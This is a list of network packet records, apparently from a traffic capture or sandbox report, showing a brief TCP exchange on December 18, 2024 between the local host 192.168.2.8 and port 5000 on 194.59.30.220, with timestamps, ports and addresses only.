Dec 18, 2024 11:56:27.907398939 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.907444000 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.908580065 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.908732891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.908786058 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.909502983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.909621954 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.910216093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.910264969 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.910336018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.910412073 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.911022902 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.911101103 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.911535025 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.911581039 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.911613941 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.911658049 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.912213087 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.912283897 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.912430048 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.913050890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.913184881 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.913762093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.913808107 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.913809061 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.913849115 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.914642096 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.914679050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.914722919 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.915580988 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.915692091 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.915736914 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.916426897 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.916496992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.916542053 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.917155981 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.917263031 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.917870045 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.918035030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.918174028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.918231010 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.918943882 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.918989897 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.919131041 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.919847012 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.919944048 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.919989109 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.920727968 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.920824051 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.921006918 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.921617985 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.921749115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.921787977 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.922543049 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.922652006 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.923032999 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.923547029 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.923661947 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.923713923 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.924302101 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.924420118 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.924482107 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.925204039 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.925298929 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.925348043 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.934701920 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.934870005 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.934920073 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.935183048 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.935350895 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.935409069 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.936198950 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.936300039 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.936368942 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.937194109 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.979671955 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.075253010 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.075289011 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.075345039 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.075511932 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.075588942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.075690031 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.076261997 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.076327085 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.076375961 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.077081919 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.077167034 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.077260017 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.077970028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.078079939 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.078131914 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.078625917 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.078815937 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.078874111 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.079390049 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.079446077 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.079503059 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.080074072 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.080148935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.080202103 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.080921888 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.081038952 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.081176996 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.081521034 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.081602097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.081655979 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.082182884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.082307100 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.082439899 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.082966089 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.083054066 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.083106995 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.083723068 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.083863974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.083914995 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.084578991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.084666014 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.084867954 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.085458040 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.085536003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.085594893 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.086338997 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.086458921 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.086507082 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.087064981 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.087157011 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.087212086 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.087769985 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.087868929 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.087917089 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.088468075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.088660955 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.088704109 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.089504004 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.089660883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.089709044 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.090296030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.090425968 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.090476036 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.091257095 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.091324091 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.091372013 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.092035055 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.092170954 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.092221022 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.092916012 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.093085051 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.093127012 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.093842983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.093980074 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.094027996 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.094733000 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.094836950 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.094928026 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.095662117 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.095730066 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.095782042 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.096494913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.096611977 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.096694946 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.097428083 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.097584963 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.097721100 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.099924088 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.100012064 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.100023985 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.100048065 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.100068092 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.100111008 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.100187063 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.100343943 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.100394964 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.101037025 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.101089001 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.101136923 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.104937077 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.105046988 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.105070114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.105082989 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.105101109 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.105125904 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.105181932 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.105226040 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.105241060 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.105253935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.105273008 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.105302095 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.106025934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.106261969 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.106317997 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.107079029 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.107249975 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.107297897 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.108038902 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.108268976 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.108333111 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.109065056 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.109253883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.109312057 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.110739946 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.111053944 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.111103058 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.111629963 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.111763954 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.111810923 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.112620115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.112761974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.112809896 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.113812923 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.113895893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.113939047 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.114562988 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.114725113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.114774942 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.115448952 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.115803957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.115900040 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.116442919 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.116549015 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.116600037 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.117506981 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.117619991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.117697954 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.118690968 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.118774891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.118825912 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.127783060 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.127887964 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.127938032 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.127985954 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.128123045 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.128196001 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.128691912 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.128808022 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.128851891 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.129359007 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.182790995 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.263977051 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.264087915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.264139891 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.264375925 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.264540911 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.264693022 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.265388012 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.265476942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.265522957 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.266351938 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.266572952 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.266624928 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.267409086 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.267633915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.267684937 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.268362999 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.268497944 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.268547058 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.269184113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.269289970 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.269339085 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.269829035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.269905090 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.269949913 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.270633936 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.270689011 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.270742893 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.271490097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.271600962 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.271646976 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.272413969 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.272510052 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.272557020 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.273359060 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.273463011 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.273511887 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.274267912 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.274386883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.274434090 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.275145054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.275247097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.275291920 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.275985003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.276091099 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.276137114 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.276895046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.276992083 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.277048111 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.277807951 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.277910948 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.277970076 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.278661013 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.278779030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.278830051 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.279597044 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.279701948 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.279748917 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.280610085 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.280719995 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.280823946 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.281517982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.281665087 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.281712055 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.282313108 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.282437086 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.282483101 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.283341885 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.283480883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.283624887 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.284620047 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.284720898 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.284768105 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.285583019 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.285727978 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.285773039 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.286649942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.286761045 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.286808014 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.287539959 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.287707090 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.287755013 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.288276911 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.288321018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.288367033 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.289015055 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.289153099 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.289199114 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.289810896 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.289915085 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.289961100 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.290721893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.290852070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.290895939 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.291546106 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.291764021 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.291802883 CET	49706	5000	192.168.2.8	194.59.30.220
